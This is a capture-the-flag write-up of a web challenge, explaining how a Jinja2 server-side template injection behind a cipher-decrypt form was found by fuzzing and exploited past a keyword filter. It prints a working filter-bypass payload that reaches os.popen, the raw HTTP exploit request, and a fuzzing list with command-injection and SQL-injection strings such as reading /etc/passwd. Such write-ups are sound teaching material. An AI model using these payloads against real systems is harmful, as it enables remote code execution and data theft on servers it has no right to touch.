This a 200 point web challenge as part of a Jepordy style CTF event hosted by Reply. This post discusses how a sever side template injection vulnerability was identified then exploited while bypassing a filter.
TL;DR
Webpage consisted of a HTML form to decrypt input using a symmetric cipher. If an encoded Jinja2 template was decoded, the template was executed server-side. A filter was present which banned all Python operators, built-in functions, and keywords as well as Jinja2 built-in functions/globals which was bypassed using escaped strings to access request arguments to include banned tokens. By working around the filter it was possible to produce a payload (decoded):
{% raw %}
{{((((((((request|attr('a\x70\x70lication'))|attr((request|attr('f\x6frm'))['a\x72gs']))[(
request|attr('f\x6frm'))['a\x72gs2']])[(request|attr('f\x6frm'))['a\x72gs3']])((request|at
tr('f\x6frm'))['a\x72gs4']))|attr((request|attr('f\x6frm'))['a\x72gs5']))((request|attr('f
\x6frm'))['a\x72gs6']))|attr((request|attr('f\x6frm'))['a\x72gs7']))()}}
{% endraw %}
# which is equivalent to
getattr(getattr(getattr(request.application, "__globals__")["__builtins__"]["__import__"](
"os"), "popen")("cat flag/flag.txt"), "read")()
# which is equivalent to
import os;
os.popen("cat flag/flag.txt").read()
Start
The webpage consists of a HTML form and two textarea
’s for input and output; below is an image.
Inspecting the page source uncovers a comment.
{% raw %}
<!-- Created by P0n0 -->
{% endraw %}
Wasting half an hour trying to find “P0n0” using OSINT made it clear this was a waste of time. Focusing on the webpage, the webpage itself would: allow a user to input ciphertext, send the form to the webserver, then the server would place the plaintext into the adjacent textarea
. It was discovered that the cipher being used was symmetric (though the identity of the cipher was unknown).
| Ciphertext | | Plaintext | — | | — this is a test | : | E9:D :D 2 E6DE E9:D :D 2 E6DE | : | this is a test
A web-browser became limiting once the user facing aspects of the page were investigated, BurpSuite became useful to log, inspect, and modify requests made to the webserver. The requests to decrypt data were generic HTTP POST requests with form data which included a cipher
field.
There were several possibilities at this point depending on the programming language/environment being used by the webserver:
- Type Juggling (PHP)
- Buffer Overflow (C, C++, etc.)
- Miscellaneous exploitation (e.g. inserting
NUL
characters into the ciphertext).
Fuzzing
SSTI was not considered at this point because the webpage did not look immediately exploitatable. Type Juggling and Buffer Overflows were not possible which left Miscellaneous exploitation. A few hand written payloads were attempted before BurpSuite’s Intruder feature was utilised. The intruder feature allowed for automatic fuzzing of the cipher
parater using a generic webapp wordlist (a sample is listed below).
%0Acat%20/etc/passwd
%0Aid
%0a id %0a
%0Aid%0A
%0a ping -i 30 127.0.0.1 %0a
%0A/usr/bin/id
%0A/usr/bin/id%0A
Looking at the sizes of the responses we see that two payloads had a significantly smaller page size which suggested there was an error during processing, sending this request in burp we see this for ourselves.
' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055
" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
While disecting the above payloads we discovered “LL” would break the server, decrypting this gave {% raw %} {{ {% endraw %} which immediately meant this was an SSTI vulnerability.
SSTI
Knowing it was SSTI was due to knowing the templating engine Jinja2 (used by Flask) uses {% raw %} {{ {% endraw %} for marking the start of templates. The next step was to look at the Jinja2 documentation to see how a request can be crafted to access information on the webserver. The documentation mentioned that there are specific global varaibles available within templates, inspecting this on a local machine saw that the Flask request
object and config
object was available. To learn more about the webserver, the payload {% raw %} {{config}} {% endraw %} was encoded then decoded.
There is an entry: 'SECRET_KEY': '}FLG:ThisIsTheRightFlag!{'
which is a false flag (literally), we have to exploit the webserver. To do this, we successively modify the below script until we can encode then execute it on the server.
import os
os.popen("cmd").read()
We can only execute single statements within the template because ;
is escaped - there is a filter. Consequently, we have to inline the payload. To achieve this we use the underlying function __import__
facilitating the import
keyword.
__import__("os").os.open("cmd").read()
__import__
is filtered.
To indirectly reference __import__
we can access it through __builtins__
(a value containing all built-in objects) using getattr
(the function invoked for the .
operator).
__builtins__["__import__"]("os").open("cmd").read()
__builtins__
is also filtered which presents a new problem since there is no way to indirectly access __builtins__
from an arbitrary namespace. However, Flask has an application
object accessible from the request
object which represents the Flask application and includes the application’s namespace. We cannot refer to the object __builtins__
so we need to access by referencing it as a string, this is achieveable with __getitem__
which is the underlying function for the []
operator (we use the high-level syntax for reasons made clear later).
getattr(request.application, "__builtins__")["__import__"]("os").open("cmd").read()
getattr
and .
are filtered which presents another problem because there is no way to access the atttribute of an object in Python without using either or these. However, Jinja2 has built-in functions for templates accessible from Python. One such function is attr
which can get the attribute of an object using the |
operator (the attr
function itself is filtered).
(((((request|attr("application"))|attr("__builtins__"))["__import__"]("os")|attr("open"))|
attr("cmd"))|attr("read"))()
"application"
is filtered and there is no other way to get the application
object a better understanding of the filter is required. The filter likely considers each character individually prior to substitution so we can potentially escape characters which passes a static evaluation but is evaluated as the correct value at runtime. To save time, all Python operators are filtered as well as implicit string literal concetenation (e.g. "a" "b" == "ab"
). Hex encoding can split a character from a static perspective: "application" == "a\x70\x70lication"
.
(((((request|attr('a\x70\x70lication'))|attr("__builtins__"))["__import__"]("os")|attr("op
en"))|attr("cmd"))|attr("read"))()
Double quotes are filtered along with a subset of strings using apostrophes. To combat this, additional arguments can be provided in the request which contain the filtered tokens which can be substituted into the payload (bypassing static analysis). The arguments can be accessed using request.application.form.<ARGUENT>
.
((((((((request|attr('a\x70\x70lication'))|attr((request|attr('f\x6frm'))['a\x72gs']))[(re
quest|attr('f\x6frm'))['a\x72gs2']])[(request|attr('f\x6frm'))['a\x72gs3']])((request|attr
('f\x6frm'))['a\x72gs4']))|attr((request|attr('f\x6frm'))['a\x72gs5']))((request|attr('f\x
6frm'))['a\x72gs6']))|attr((request|attr('f\x6frm'))['a\x72gs7']))()
("form"
and "args"
is escaped, hence the hex encoding). The request arguments contain the strings above in order for the request to succeed. Putting this payload into Burp then sending it yields:
The raw request is listed below:
POST /0b7d3eb5b7973d27ec3adaffd887d0e2/ HTTP/1.1
Host: gamebox1.reply.it
Content-Length: 1144
Origin: http://gamebox1.reply.it
Content-Type: application/x-www-form-urlencoded
cipher=%4c%4c%57%57%57%57%57%57%57%57%43%36%42%46%36%44%45%4d%32%45%45%43%57%56%32%2d%49
%66%5f%2d%49%66%5f%3d%3a%34%32%45%3a%40%3f%56%58%58%4d%32%45%45%43%57%57%43%36%42%46%36%44
%45%4d%32%45%45%43%57%56%37%2d%49%65%37%43%3e%56%58%58%2c%56%32%2d%49%66%61%38%44%56%2e%58
%58%2c%57%43%36%42%46%36%44%45%4d%32%45%45%43%57%56%37%2d%49%65%37%43%3e%56%58%58%2c%56%32
%2d%49%66%61%38%44%61%56%2e%2e%58%2c%57%43%36%42%46%36%44%45%4d%32%45%45%43%57%56%37%2d%49
%65%37%43%3e%56%58%58%2c%56%32%2d%49%66%61%38%44%62%56%2e%2e%58%57%57%43%36%42%46%36%44%45
%4d%32%45%45%43%57%56%37%2d%49%65%37%43%3e%56%58%58%2c%56%32%2d%49%66%61%38%44%63%56%2e%58
%58%4d%32%45%45%43%57%57%43%36%42%46%36%44%45%4d%32%45%45%43%57%56%37%2d%49%65%37%43%3e%56
%58%58%2c%56%32%2d%49%66%61%38%44%64%56%2e%58%58%57%57%43%36%42%46%36%44%45%4d%32%45%45%43
%57%56%37%2d%49%65%37%43%3e%56%58%58%2c%56%32%2d%49%66%61%38%44%65%56%2e%58%58%4d%32%45%45
%43%57%57%43%36%42%46%36%44%45%4d%32%45%45%43%57%56%37%2d%49%65%37%43%3e%56%58%58%2c%56%32
%2d%49%66%61%38%44%66%56%2e%58%58%57%58%4e%4e&args=__globals__&args2=__builtins__&args3=__
import__&args4=os&args5=popen&args6=cat%20flag/flag.txt&args7=read